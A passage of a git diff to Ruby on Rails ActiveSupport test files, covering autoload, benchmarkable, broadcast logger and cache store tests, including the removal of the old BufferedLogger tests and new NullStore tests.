+  test "the location of :eager autoloaded constants defaults to :name.underscore" do
+    module ::Fixtures::Autoload
+      autoload :SomeClass
+    end
+
+    ::Fixtures::Autoload.eager_load!
+    assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
+  end
+
+  test "a directory for a block of autoloads can be specified" do
+    module ::Fixtures
+      autoload_under "autoload" do
+        autoload :AnotherClass
+      end
+    end
+
+    assert !$LOADED_FEATURES.include?("fixtures/autoload/another_class.rb")
+    assert_nothing_raised { ::Fixtures::AnotherClass }
+  end
+
+  test "a path for a block of autoloads can be specified" do
+    module ::Fixtures
+      autoload_at "fixtures/autoload/another_class" do
+        autoload :AnotherClass
+      end
+    end
+
+    assert !$LOADED_FEATURES.include?("fixtures/autoload/another_class.rb")
+    assert_nothing_raised { ::Fixtures::AnotherClass }
+  end
+end
\ No newline at end of file
diff --git a/activesupport/test/benchmarkable_test.rb b/activesupport/test/benchmarkable_test.rb
index 06f5172e1f..04d4f5e503 100644
--- a/activesupport/test/benchmarkable_test.rb
+++ b/activesupport/test/benchmarkable_test.rb
@@ -3,8 +3,23 @@ require 'abstract_unit'
 class BenchmarkableTest < ActiveSupport::TestCase
   include ActiveSupport::Benchmarkable
 
-  def teardown
-    logger.send(:clear_buffer)
+  attr_reader :buffer, :logger
+
+  class Buffer
+    include Enumerable
+
+    def initialize; @lines = []; end
+    def each(&block); @lines.each(&block); end
+    def write(x); @lines << x; end
+    def close; end
+    def last; @lines.last; end
+    def size; @lines.size; end
+    def empty?; @lines.empty?; end
+  end
+
+  def setup
+    @buffer = Buffer.new
+    @logger = ActiveSupport::Logger.new(@buffer)
   end
 
   def test_without_block
@@ -27,48 +42,20 @@ class BenchmarkableTest < ActiveSupport::TestCase
   end
 
   def test_within_level
-    logger.level = ActiveSupport::BufferedLogger::DEBUG
+    logger.level = ActiveSupport::Logger::DEBUG
     benchmark('included_debug_run', :level => :debug) { }
     assert_last_logged 'included_debug_run'
   end
 
   def test_outside_level
-    logger.level = ActiveSupport::BufferedLogger::ERROR
+    logger.level = ActiveSupport::Logger::ERROR
     benchmark('skipped_debug_run', :level => :debug) { }
     assert_no_match(/skipped_debug_run/, buffer.last)
   ensure
-    logger.level = ActiveSupport::BufferedLogger::DEBUG
-  end
-
-  def test_without_silencing
-    benchmark('debug_run', :silence => false) do
-      logger.info "not silenced!"
-    end
-
-    assert_equal 2, buffer.size
-  end
-
-  def test_with_silencing
-    benchmark('debug_run', :silence => true) do
-      logger.info "silenced!"
-    end
-
-    assert_equal 1, buffer.size
+    logger.level = ActiveSupport::Logger::DEBUG
   end
 
   private
-    def logger
-      @logger ||= begin
-        logger = ActiveSupport::BufferedLogger.new(StringIO.new)
-        logger.auto_flushing = false
-        logger
-      end
-    end
-
-    def buffer
-      logger.send(:buffer)
-    end
-
     def assert_last_logged(message = 'Benchmarking')
       assert_match(/^#{message} \(.*\)$/, buffer.last)
     end
diff --git a/activesupport/test/broadcast_logger_test.rb b/activesupport/test/broadcast_logger_test.rb
new file mode 100644
index 0000000000..6d4e3b74f7
--- /dev/null
+++ b/activesupport/test/broadcast_logger_test.rb
@@ -0,0 +1,82 @@
+require 'abstract_unit'
+
+module ActiveSupport
+  class BroadcastLoggerTest < TestCase
+    attr_reader :logger, :log1, :log2
+    def setup
+      @log1 = FakeLogger.new
+      @log2 = FakeLogger.new
+      @log1.extend Logger.broadcast @log2
+      @logger = @log1
+    end
+
+    def test_debug
+      logger.debug "foo"
+      assert_equal 'foo', log1.adds.first[2]
+      assert_equal 'foo', log2.adds.first[2]
+    end
+
+    def test_close
+      logger.close
+      assert log1.closed, 'should be closed'
+      assert log2.closed, 'should be closed'
+    end
+
+    def test_chevrons
+      logger << "foo"
+      assert_equal %w{ foo }, log1.chevrons
+      assert_equal %w{ foo }, log2.chevrons
+    end
+
+    def test_level
+      assert_nil logger.level
+      logger.level = 10
+      assert_equal 10, log1.level
+      assert_equal 10, log2.level
+    end
+
+    def test_progname
+      assert_nil logger.progname
+      logger.progname = 10
+      assert_equal 10, log1.progname
+      assert_equal 10, log2.progname
+    end
+
+    def test_formatter
+      assert_nil logger.formatter
+      logger.formatter = 10
+      assert_equal 10, log1.formatter
+      assert_equal 10, log2.formatter
+    end
+
+    class FakeLogger
+      attr_reader :adds, :closed, :chevrons
+      attr_accessor :level, :progname, :formatter
+
+      def initialize
+        @adds      = []
+        @closed    = false
+        @chevrons  = []
+        @level     = nil
+        @progname  = nil
+        @formatter = nil
+      end
+
+      def debug msg, &block
+        add(:omg, nil, msg, &block)
+      end
+
+      def << x
+        @chevrons << x
+      end
+
+      def add(*args)
+        @adds << args
+      end
+
+      def close
+        @closed = true
+      end
+    end
+  end
+end
diff --git a/activesupport/test/buffered_logger_test.rb b/activesupport/test/buffered_logger_test.rb
deleted file mode 100644
index 386006677b..0000000000
--- a/activesupport/test/buffered_logger_test.rb
+++ /dev/null
@@ -1,254 +0,0 @@
-require 'abstract_unit'
-require 'multibyte_test_helpers'
-require 'stringio'
-require 'fileutils'
-require 'tempfile'
-require 'active_support/buffered_logger'
-
-class BufferedLoggerTest < Test::Unit::TestCase
-  include MultibyteTestHelpers
-
-  Logger = ActiveSupport::BufferedLogger
-
-  def setup
-    @message = "A debug message"
-    @integer_message = 12345
-    @output  = StringIO.new
-    @logger  = Logger.new(@output)
-  end
-
-  def test_write_binary_data_to_existing_file
-    t = Tempfile.new ['development', 'log']
-    t.binmode
-    t.write 'hi mom!'
-    t.close
-
-    logger = Logger.new t.path
-    logger.level = Logger::DEBUG
-
-    str = "\x80"
-    if str.respond_to?(:force_encoding)
-      str.force_encoding("ASCII-8BIT")
-    end
-
-    logger.add Logger::DEBUG, str
-    logger.flush
-  ensure
-    logger.close
-    t.close true
-  end
-
-  def test_write_binary_data_create_file
-    fname = File.join Dir.tmpdir, 'lol', 'rofl.log'
-    logger = Logger.new fname
-    logger.level = Logger::DEBUG
-
-    str = "\x80"
-    if str.respond_to?(:force_encoding)
-      str.force_encoding("ASCII-8BIT")
-    end
-
-    logger.add Logger::DEBUG, str
-    logger.flush
-  ensure
-    logger.close
-    File.unlink fname
-  end
-
-  def test_should_log_debugging_message_when_debugging
-    @logger.level = Logger::DEBUG
-    @logger.add(Logger::DEBUG, @message)
-    assert @output.string.include?(@message)
-  end
-
-  def test_should_not_log_debug_messages_when_log_level_is_info
-    @logger.level = Logger::INFO
-    @logger.add(Logger::DEBUG, @message)
-    assert ! @output.string.include?(@message)
-  end
-
-  def test_should_add_message_passed_as_block_when_using_add
-    @logger.level = Logger::INFO
-    @logger.add(Logger::INFO) {@message}
-    assert @output.string.include?(@message)
-  end
-
-  def test_should_add_message_passed_as_block_when_using_shortcut
-    @logger.level = Logger::INFO
-    @logger.info {@message}
-    assert @output.string.include?(@message)
-  end
-
-  def test_should_convert_message_to_string
-    @logger.level = Logger::INFO
-    @logger.info @integer_message
-    assert @output.string.include?(@integer_message.to_s)
-  end
-
-  def test_should_convert_message_to_string_when_passed_in_block
-    @logger.level = Logger::INFO
-    @logger.info {@integer_message}
-    assert @output.string.include?(@integer_message.to_s)
-  end
-
-  def test_should_not_evaluate_block_if_message_wont_be_logged
-    @logger.level = Logger::INFO
-    evaluated = false
-    @logger.add(Logger::DEBUG) {evaluated = true}
-    assert evaluated == false
-  end
-
-  def test_should_not_mutate_message
-    message_copy = @message.dup
-    @logger.info @message
-    assert_equal message_copy, @message
-  end
-
-
-  [false, nil, 0].each do |disable|
-    define_method "test_disabling_auto_flush_with_#{disable.inspect}_should_buffer_until_explicit_flush" do
-      @logger.auto_flushing = disable
-
-      4.times do
-        @logger.info 'wait for it..'
-        assert @output.string.empty?, "@output.string should be empty but it is #{@output.string}"
-      end
-
-      @logger.flush
-      assert !@output.string.empty?, "@logger.send(:buffer).size.to_s should not be empty but it is empty"
-    end
-
-    define_method "test_disabling_auto_flush_with_#{disable.inspect}_should_flush_at_max_buffer_size_as_failsafe" do
-      @logger.auto_flushing = disable
-      assert_equal Logger::MAX_BUFFER_SIZE, @logger.auto_flushing
-
-      (Logger::MAX_BUFFER_SIZE - 1).times do
-        @logger.info 'wait for it..'
-        assert @output.string.empty?, "@output.string should be empty but is #{@output.string}"
-      end
-
-      @logger.info 'there it is.'
-      assert !@output.string.empty?, "@logger.send(:buffer).size.to_s should not be empty but it is empty"
-    end
-  end
-
-  def test_should_know_if_its_loglevel_is_below_a_given_level
-    Logger::Severity.constants.each do |level|
-      @logger.level = Logger::Severity.const_get(level) - 1
-      assert @logger.send("#{level.downcase}?"), "didn't know if it was #{level.downcase}? or below"
-    end
-  end
-
-  def test_should_auto_flush_every_n_messages
-    @logger.auto_flushing = 5
-
-    4.times do
-      @logger.info 'wait for it..'
-      assert @output.string.empty?, "@output.string should be empty but it is #{@output.string}"
-    end
-
-    @logger.info 'there it is.'
-    assert !@output.string.empty?, "@output.string should not be empty but it is empty"
-  end
-
-  def test_should_create_the_log_directory_if_it_doesnt_exist
-    tmp_directory = File.join(File.dirname(__FILE__), "tmp")
-    log_file = File.join(tmp_directory, "development.log")
-    FileUtils.rm_rf(tmp_directory)
-    @logger  = Logger.new(log_file)
-    assert File.exist?(tmp_directory)
-  end
-
-  def test_logger_should_maintain_separate_buffers_for_each_thread
-    @logger.auto_flushing = false
-
-    a = Thread.new do
-      @logger.info("a"); Thread.pass;
-      @logger.info("b"); Thread.pass;
-      @logger.info("c"); @logger.flush
-    end
-
-    b = Thread.new do
-      @logger.info("x"); Thread.pass;
-      @logger.info("y"); Thread.pass;
-      @logger.info("z"); @logger.flush
-    end
-
-    a.join
-    b.join
-
-    assert @output.string.include?("a\nb\nc\n")
-    assert @output.string.include?("x\ny\nz\n")
-  end
-
-  def test_flush_should_remove_empty_buffers
-    @logger.send :buffer
-    @logger.expects :clear_buffer
-    @logger.flush
-  end
-
-  def test_buffer_multibyte
-    @logger.auto_flushing = 2
-    @logger.info(UNICODE_STRING)
-    @logger.info(BYTE_STRING)
-    assert @output.string.include?(UNICODE_STRING)
-    byte_string = @output.string.dup
-    if byte_string.respond_to?(:force_encoding)
-      byte_string.force_encoding("ASCII-8BIT")
-    end
-    assert byte_string.include?(BYTE_STRING)
-  end
-
-  def test_silence_only_current_thread
-    @logger.auto_flushing = true
-    run_thread_a = false
-
-    a = Thread.new do
-      while !run_thread_a do
-        sleep(0.001)
-      end
-      @logger.info("x")
-      run_thread_a = false
-    end
-
-    @logger.silence do
-      run_thread_a = true
-      @logger.info("a")
-      while run_thread_a do
-        sleep(0.001)
-      end
-    end
-
-    a.join
-
-    assert @output.string.include?("x")
-    assert !@output.string.include?("a")
-  end
-
-  def test_flush_dead_buffers
-    @logger.auto_flushing = false
-
-    a = Thread.new do
-      @logger.info("a")
-    end
-    
-    keep_running = true
-    Thread.new do
-      @logger.info("b")
-      while keep_running
-        sleep(0.001)
-      end
-    end
-
-    @logger.info("x")
-    a.join
-    @logger.flush
-
-
-    assert @output.string.include?("x")
-    assert @output.string.include?("a")
-    assert !@output.string.include?("b")
-    
-    keep_running = false
-  end
-end
diff --git a/activesupport/test/caching_test.rb b/activesupport/test/caching_test.rb
index cb5362525f..5056d8deb8 100644
--- a/activesupport/test/caching_test.rb
+++ b/activesupport/test/caching_test.rb
@@ -13,10 +13,10 @@ class CacheKeyTest < ActiveSupport::TestCase
       ENV['RAILS_CACHE_ID'] = 'c99'
       assert_equal 'c99/foo', ActiveSupport::Cache.expand_cache_key(:foo)
       assert_equal 'c99/foo', ActiveSupport::Cache.expand_cache_key([:foo])
-      assert_equal 'c99/c99/foo/c99/bar', ActiveSupport::Cache.expand_cache_key([:foo, :bar])
+      assert_equal 'c99/foo/bar', ActiveSupport::Cache.expand_cache_key([:foo, :bar])
       assert_equal 'nm/c99/foo', ActiveSupport::Cache.expand_cache_key(:foo, :nm)
       assert_equal 'nm/c99/foo', ActiveSupport::Cache.expand_cache_key([:foo], :nm)
-      assert_equal 'nm/c99/c99/foo/c99/bar', ActiveSupport::Cache.expand_cache_key([:foo, :bar], :nm)
+      assert_equal 'nm/c99/foo/bar', ActiveSupport::Cache.expand_cache_key([:foo, :bar], :nm)
     ensure
       ENV['RAILS_CACHE_ID'] = nil
     end
@@ -42,7 +42,7 @@ class CacheKeyTest < ActiveSupport::TestCase
     end
   end
 
-  def test_respond_to_cache_key
+  def test_expand_cache_key_respond_to_cache_key
     key = 'foo'
     def key.cache_key
       :foo_key
@@ -50,6 +50,29 @@ class CacheKeyTest < ActiveSupport::TestCase
     assert_equal 'foo_key', ActiveSupport::Cache.expand_cache_key(key)
   end
 
+  def test_expand_cache_key_array_with_something_that_responds_to_cache_key
+    key = 'foo'
+    def key.cache_key
+      :foo_key
+    end
+    assert_equal 'foo_key', ActiveSupport::Cache.expand_cache_key([key])
+  end
+
+  def test_expand_cache_key_of_nil
+    assert_equal '', ActiveSupport::Cache.expand_cache_key(nil)
+  end
+
+  def test_expand_cache_key_of_false
+    assert_equal 'false', ActiveSupport::Cache.expand_cache_key(false)
+  end
+
+  def test_expand_cache_key_of_true
+    assert_equal 'true', ActiveSupport::Cache.expand_cache_key(true)
+  end
+  
+  def test_expand_cache_key_of_array_like_object
+    assert_equal 'foo/bar/baz', ActiveSupport::Cache.expand_cache_key(%w{foo bar baz}.to_enum)
+  end
 end
 
 class CacheStoreSettingTest < ActiveSupport::TestCase
@@ -60,20 +83,20 @@ class CacheStoreSettingTest < ActiveSupport::TestCase
   end
 
   def test_mem_cache_fragment_cache_store
-    MemCache.expects(:new).with(%w[localhost], {})
+    Dalli::Client.expects(:new).with(%w[localhost], {})
     store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost"
     assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
   end
 
   def test_mem_cache_fragment_cache_store_with_given_mem_cache
-    mem_cache = MemCache.new
-    MemCache.expects(:new).never
+    mem_cache = Dalli::Client.new
+    Dalli::Client.expects(:new).never
     store = ActiveSupport::Cache.lookup_store :mem_cache_store, mem_cache
     assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
   end
 
   def test_mem_cache_fragment_cache_store_with_given_mem_cache_like_object
-    MemCache.expects(:new).never
+    Dalli::Client.expects(:new).never
     memcache = Object.new
     def memcache.get() true end
     store = ActiveSupport::Cache.lookup_store :mem_cache_store, memcache
@@ -81,13 +104,13 @@ class CacheStoreSettingTest < ActiveSupport::TestCase
   end
 
   def test_mem_cache_fragment_cache_store_with_multiple_servers
-    MemCache.expects(:new).with(%w[localhost 192.168.1.1], {})
+    Dalli::Client.expects(:new).with(%w[localhost 192.168.1.1], {})
     store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost", '192.168.1.1'
     assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
   end
 
   def test_mem_cache_fragment_cache_store_with_options
-    MemCache.expects(:new).with(%w[localhost 192.168.1.1], { :timeout => 10 })
+    Dalli::Client.expects(:new).with(%w[localhost 192.168.1.1], { :timeout => 10 })
     store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost", '192.168.1.1', :namespace => 'foo', :timeout => 10
     assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
     assert_equal 'foo', store.options[:namespace]
@@ -122,8 +145,8 @@ class CacheStoreNamespaceTest < ActiveSupport::TestCase
     cache.write("foo", "bar")
     cache.write("fu", "baz")
     cache.delete_matched(/^fo/)
-    assert_equal false, cache.exist?("foo")
-    assert_equal true, cache.exist?("fu")
+    assert !cache.exist?("foo")
+    assert cache.exist?("fu")
   end
 
   def test_delete_matched_key
@@ -131,15 +154,15 @@ class CacheStoreNamespaceTest < ActiveSupport::TestCase
     cache.write("foo", "bar")
     cache.write("fu", "baz")
     cache.delete_matched(/OO/i)
-    assert_equal false, cache.exist?("foo")
-    assert_equal true, cache.exist?("fu")
+    assert !cache.exist?("foo")
+    assert cache.exist?("fu")
   end
 end
 
 # Tests the base functionality that should be identical across all cache stores.
 module CacheStoreBehavior
   def test_should_read_and_write_strings
-    assert_equal true, @cache.write('foo', 'bar')
+    assert @cache.write('foo', 'bar')
     assert_equal 'bar', @cache.read('foo')
   end
 
@@ -174,22 +197,22 @@ module CacheStoreBehavior
   end
 
   def test_should_read_and_write_hash
-    assert_equal true, @cache.write('foo', {:a => "b"})
+    assert @cache.write('foo', {:a => "b"})
     assert_equal({:a => "b"}, @cache.read('foo'))
   end
 
   def test_should_read_and_write_integer
-    assert_equal true, @cache.write('foo', 1)
+    assert @cache.write('foo', 1)
     assert_equal 1, @cache.read('foo')
   end
 
   def test_should_read_and_write_nil
-    assert_equal true, @cache.write('foo', nil)
+    assert @cache.write('foo', nil)
     assert_equal nil, @cache.read('foo')
   end
 
   def test_should_read_and_write_false
-    assert_equal true, @cache.write('foo', false)
+    assert @cache.write('foo', false)
     assert_equal false, @cache.read('foo')
   end
 
@@ -199,7 +222,7 @@ module CacheStoreBehavior
     @cache.write('fud', 'biz')
     assert_equal({"foo" => "bar", "fu" => "baz"}, @cache.read_multi('foo', 'fu'))
   end
-  
+
   def test_read_multi_with_expires
     @cache.write('foo', 'bar', :expires_in => 0.001)
     @cache.write('fu', 'baz')
@@ -262,19 +285,19 @@ module CacheStoreBehavior
 
   def test_exist
     @cache.write('foo', 'bar')
-    assert_equal true, @cache.exist?('foo')
-    assert_equal false, @cache.exist?('bar')
+    assert @cache.exist?('foo')
+    assert !@cache.exist?('bar')
   end
 
   def test_nil_exist
     @cache.write('foo', nil)
-    assert_equal true, @cache.exist?('foo')
+    assert @cache.exist?('foo')
   end
 
   def test_delete
     @cache.write('foo', 'bar')
     assert @cache.exist?('foo')
-    assert_equal true, @cache.delete('foo')
+    assert @cache.delete('foo')
     assert !@cache.exist?('foo')
   end
 
@@ -346,10 +369,10 @@ module CacheStoreBehavior
 
   def test_crazy_key_characters
     crazy_key = "#/:*(<+=> )&$%@?;'\"\'`~-"
-    assert_equal true, @cache.write(crazy_key, "1", :raw => true)
+    assert @cache.write(crazy_key, "1", :raw => true)
     assert_equal "1", @cache.read(crazy_key)
     assert_equal "1", @cache.fetch(crazy_key)
-    assert_equal true, @cache.delete(crazy_key)
+    assert @cache.delete(crazy_key)
     assert_equal "2", @cache.fetch(crazy_key, :raw => true) { "2" }
     assert_equal 3, @cache.increment(crazy_key)
     assert_equal 2, @cache.decrement(crazy_key)
@@ -358,12 +381,12 @@ module CacheStoreBehavior
   def test_really_long_keys
     key = ""
     900.times{key << "x"}
-    assert_equal true, @cache.write(key, "bar")
+    assert @cache.write(key, "bar")
     assert_equal "bar", @cache.read(key)
     assert_equal "bar", @cache.fetch(key)
     assert_nil @cache.read("#{key}x")
     assert_equal({key => "bar"}, @cache.read_multi(key))
-    assert_equal true, @cache.delete(key)
+    assert @cache.delete(key)
   end
 end
 
@@ -371,36 +394,34 @@ end
 # The error is caused by charcter encodings that can't be compared with ASCII-8BIT regular expressions and by special
 # characters like the umlaut in UTF-8.
 module EncodedKeyCacheBehavior
-  if defined?(Encoding)
-    Encoding.list.each do |encoding|
-      define_method "test_#{encoding.name.underscore}_encoded_values" do
-        key = "foo".force_encoding(encoding)
-        assert_equal true, @cache.write(key, "1", :raw => true)
-        assert_equal "1", @cache.read(key)
-        assert_equal "1", @cache.fetch(key)
-        assert_equal true, @cache.delete(key)
-        assert_equal "2", @cache.fetch(key, :raw => true) { "2" }
-        assert_equal 3, @cache.increment(key)
-        assert_equal 2, @cache.decrement(key)
-      end
-    end
-
-    def test_common_utf8_values
-      key = "\xC3\xBCmlaut".force_encoding(Encoding::UTF_8)
-      assert_equal true, @cache.write(key, "1", :raw => true)
+  Encoding.list.each do |encoding|
+    define_method "test_#{encoding.name.underscore}_encoded_values" do
+      key = "foo".force_encoding(encoding)
+      assert @cache.write(key, "1", :raw => true)
       assert_equal "1", @cache.read(key)
       assert_equal "1", @cache.fetch(key)
-      assert_equal true, @cache.delete(key)
+      assert @cache.delete(key)
       assert_equal "2", @cache.fetch(key, :raw => true) { "2" }
       assert_equal 3, @cache.increment(key)
       assert_equal 2, @cache.decrement(key)
     end
+  end
 
-    def test_retains_encoding
-      key = "\xC3\xBCmlaut".force_encoding(Encoding::UTF_8)
-      assert_equal true, @cache.write(key, "1", :raw => true)
-      assert_equal Encoding::UTF_8, key.encoding
-    end
+  def test_common_utf8_values
+    key = "\xC3\xBCmlaut".force_encoding(Encoding::UTF_8)
+    assert @cache.write(key, "1", :raw => true)
+    assert_equal "1", @cache.read(key)
+    assert_equal "1", @cache.fetch(key)
+    assert @cache.delete(key)
+    assert_equal "2", @cache.fetch(key, :raw => true) { "2" }
+    assert_equal 3, @cache.increment(key)
+    assert_equal 2, @cache.decrement(key)
+  end
+
+  def test_retains_encoding
+    key = "\xC3\xBCmlaut".force_encoding(Encoding::UTF_8)
+    assert @cache.write(key, "1", :raw => true)
+    assert_equal Encoding::UTF_8, key.encoding
   end
 end
 
@@ -411,10 +432,10 @@ module CacheDeleteMatchedBehavior
     @cache.write("foo/bar", "baz")
     @cache.write("fu/baz", "bar")
     @cache.delete_matched(/oo/)
-    assert_equal false, @cache.exist?("foo")
-    assert_equal true, @cache.exist?("fu")
-    assert_equal false, @cache.exist?("foo/bar")
-    assert_equal true, @cache.exist?("fu/baz")
+    assert !@cache.exist?("foo")
+    assert @cache.exist?("fu")
+    assert !@cache.exist?("foo/bar")
+    assert @cache.exist?("fu/baz")
   end
 end
 
@@ -426,6 +447,7 @@ module CacheIncrementDecrementBehavior
     assert_equal 2, @cache.read('foo').to_i
     assert_equal 3, @cache.increment('foo')
     assert_equal 3, @cache.read('foo').to_i
+    assert_nil @cache.increment('bar')
   end
 
   def test_decrement
@@ -435,6 +457,7 @@ module CacheIncrementDecrementBehavior
     assert_equal 2, @cache.read('foo').to_i
     assert_equal 1, @cache.decrement('foo')
     assert_equal 1, @cache.read('foo').to_i
+    assert_nil @cache.decrement('bar')
   end
 end
 
@@ -443,7 +466,7 @@ module LocalCacheBehavior
     retval = @cache.with_local_cache do
       @cache.write('foo', 'bar')
     end
-    assert_equal true, retval
+    assert retval
     assert_equal 'bar', @cache.read('foo')
   end
 
@@ -532,6 +555,9 @@ class FileStoreTest < ActiveSupport::TestCase
     @cache = ActiveSupport::Cache.lookup_store(:file_store, cache_dir, :expires_in => 60)
     @peek = ActiveSupport::Cache.lookup_store(:file_store, cache_dir, :expires_in => 60)
     @cache_with_pathname = ActiveSupport::Cache.lookup_store(:file_store, Pathname.new(cache_dir), :expires_in => 60)
+
+    @buffer = StringIO.new
+    @cache.logger = ActiveSupport::Logger.new(@buffer)
   end
 
   def teardown
@@ -547,6 +573,13 @@ class FileStoreTest < ActiveSupport::TestCase
   include CacheDeleteMatchedBehavior
   include CacheIncrementDecrementBehavior
 
+  def test_clear
+    filepath = File.join(cache_dir, ".gitkeep")
+    FileUtils.touch(filepath)
+    @cache.clear
+    assert File.exist?(filepath)
+  end
+
   def test_key_transformation
     key = @cache.send(:key_file_path, "views/index?id=1")
     assert_equal "views/index?id=1", @cache.send(:file_path_key, key)
@@ -557,12 +590,22 @@ class FileStoreTest < ActiveSupport::TestCase
     key = @cache_with_pathname.send(:key_file_path, "views/index?id=1")
     assert_equal "views/index?id=1", @cache_with_pathname.send(:file_path_key, key)
   end
-  
+
+  # Test that generated cache keys are short enough to have Tempfile stuff added to them and 
+  # remain valid
+  def test_filename_max_size
+    key = "#{'A' * ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE}"
+    path = @cache.send(:key_file_path, key)
+    Dir::Tmpname.create(path) do |tmpname, n, opts|
+      assert File.basename(tmpname+'.lock').length <= 255, "Temp filename too long: #{File.basename(tmpname+'.lock').length}"
+    end
+  end
+
   # Because file systems have a maximum filename size, filenames > max size should be split in to directories
   # If filename is 'AAAAB', where max size is 4, the returned path should be AAAA/B
   def test_key_transformation_max_filename_size
     key = "#{'A' * ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE}B"
-    path = @cache.send(:key_file_path, key)    
+    path = @cache.send(:key_file_path, key)
     assert path.split('/').all? { |dir_name| dir_name.size <= ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE}
     assert_equal 'B', File.basename(path)
   end
@@ -574,6 +617,12 @@ class FileStoreTest < ActiveSupport::TestCase
       ActiveSupport::Cache::FileStore.new('/test/cache/directory').delete_matched(/does_not_exist/)
     end
   end
+
+  def test_log_exception_when_cache_read_fails
+    File.expects(:exist?).raises(StandardError, "failed")
+    @cache.send(:read_entry, "winston", {})
+    assert_present @buffer.string
+  end
 end
 
 class MemoryStoreTest < ActiveSupport::TestCase
@@ -595,11 +644,11 @@ class MemoryStoreTest < ActiveSupport::TestCase
     @cache.read(2) && sleep(0.001)
     @cache.read(4)
     @cache.prune(@record_size * 3)
-    assert_equal true, @cache.exist?(5)
-    assert_equal true, @cache.exist?(4)
-    assert_equal false, @cache.exist?(3)
-    assert_equal true, @cache.exist?(2)
-    assert_equal false, @cache.exist?(1)
+    assert @cache.exist?(5)
+    assert @cache.exist?(4)
+    assert !@cache.exist?(3)
+    assert @cache.exist?(2)
+    assert !@cache.exist?(1)
   end
 
   def test_prune_size_on_write
@@ -616,17 +665,17 @@ class MemoryStoreTest < ActiveSupport::TestCase
     @cache.read(2) && sleep(0.001)
     @cache.read(4) && sleep(0.001)
     @cache.write(11, "llllllllll")
-    assert_equal true, @cache.exist?(11)
-    assert_equal true, @cache.exist?(10)
-    assert_equal true, @cache.exist?(9)
-    assert_equal true, @cache.exist?(8)
-    assert_equal true, @cache.exist?(7)
-    assert_equal false, @cache.exist?(6)
-    assert_equal false, @cache.exist?(5)
-    assert_equal true, @cache.exist?(4)
-    assert_equal false, @cache.exist?(3)
-    assert_equal true, @cache.exist?(2)
-    assert_equal false, @cache.exist?(1)
+    assert @cache.exist?(11)
+    assert @cache.exist?(10)
+    assert @cache.exist?(9)
+    assert @cache.exist?(8)
+    assert @cache.exist?(7)
+    assert !@cache.exist?(6)
+    assert !@cache.exist?(5)
+    assert @cache.exist?(4)
+    assert !@cache.exist?(3)
+    assert @cache.exist?(2)
+    assert !@cache.exist?(1)
   end
 
   def test_pruning_is_capped_at_a_max_time
@@ -640,11 +689,18 @@ class MemoryStoreTest < ActiveSupport::TestCase
     @cache.write(4, "dddddddddd") && sleep(0.001)
     @cache.write(5, "eeeeeeeeee") && sleep(0.001)
     @cache.prune(30, 0.001)
-    assert_equal true, @cache.exist?(5)
-    assert_equal true, @cache.exist?(4)
-    assert_equal true, @cache.exist?(3)
-    assert_equal true, @cache.exist?(2)
-    assert_equal false, @cache.exist?(1)
+    assert @cache.exist?(5)
+    assert @cache.exist?(4)
+    assert @cache.exist?(3)
+    assert @cache.exist?(2)
+    assert !@cache.exist?(1)
+  end
+
+  def test_write_with_unless_exist
+    assert_equal true, @cache.write(1, "aaaaaaaaaa")
+    assert_equal false, @cache.write(1, "aaaaaaaaaa", :unless_exist => true)
+    @cache.write(1, nil)
+    assert_equal false, @cache.write(1, "aaaaaaaaaa", :unless_exist => true)
   end
 end
 
@@ -656,7 +712,7 @@ uses_memcached 'memcached backed store' do
       @data = @cache.instance_variable_get(:@data)
       @cache.clear
       @cache.silence!
-      @cache.logger = Logger.new("/dev/null")
+      @cache.logger = ActiveSupport::Logger.new("/dev/null")
     end
 
     include CacheStoreBehavior
@@ -670,14 +726,14 @@ uses_memcached 'memcached backed store' do
       cache.write("foo", 2)
       assert_equal "2", cache.read("foo")
     end
-    
+
     def test_raw_values_with_marshal
       cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, :raw => true)
       cache.clear
       cache.write("foo", Marshal.dump([]))
-      assert_equal [], cache.read("foo")      
+      assert_equal [], cache.read("foo")
     end
-    
+
     def test_local_cache_raw_values
       cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, :raw => true)
       cache.clear
@@ -698,12 +754,70 @@ uses_memcached 'memcached backed store' do
   end
 end
 
+class NullStoreTest < ActiveSupport::TestCase
+  def setup
+    @cache = ActiveSupport::Cache.lookup_store(:null_store)
+  end
+
+  def test_clear
+    @cache.clear
+  end
+
+  def test_cleanup
+    @cache.cleanup
+  end
+
+  def test_write
+    assert_equal true, @cache.write("name", "value")
+  end
+
+  def test_read
+    @cache.write("name", "value")
+    assert_nil @cache.read("name")
+  end
+
+  def test_delete
+    @cache.write("name", "value")
+    assert_equal false, @cache.delete("name")
+  end
+
+  def test_increment
+    @cache.write("name", 1, :raw => true)
+    assert_nil @cache.increment("name")
+  end
+
+  def test_decrement
+    @cache.write("name", 1, :raw => true)
+    assert_nil @cache.increment("name")
+  end
+
+  def test_delete_matched
+    @cache.write("name", "value")
+    @cache.delete_matched(/name/)
+  end
+
+  def test_local_store_strategy
+    @cache.with_local_cache do
+      @cache.write("name", "value")
+      assert_equal "value", @cache.read("name")
+      @cache.delete("name")
+      assert_nil @cache.read("name")
+      @cache.write("name", "value")
+    end
+    assert_nil @cache.read("name")
+  end
+
+  def test_setting_nil_cache_store
+    assert ActiveSupport::Cache.lookup_store.class.name, ActiveSupport::Cache::NullStore.name
+  end
+end
+
 class CacheStoreLoggerTest < ActiveSupport::TestCase
   def setup
     @cache = ActiveSupport::Cache.lookup_store(:memory_store)
 
     @buffer = StringIO.new
-    @cache.logger = Logger.new(@buffer)
+    @cache.logger = ActiveSupport::Logger.new(@buffer)
   end
 
   def test_logging
@@ -723,7 +837,7 @@ class CacheEntryTest < ActiveSupport::TestCase
     entry = ActiveSupport::Cache::Entry.create("raw", time, :compress => false, :expires_in => 300)
     assert_equal "raw", entry.raw_value
     assert_equal time.to_f, entry.created_at
-    assert_equal false, entry.compressed?
+    assert !entry.compressed?
     assert_equal 300, entry.expires_in
   end
 
@@ -740,7 +854,7 @@ class CacheEntryTest < ActiveSupport::TestCase
   def test_compress_values
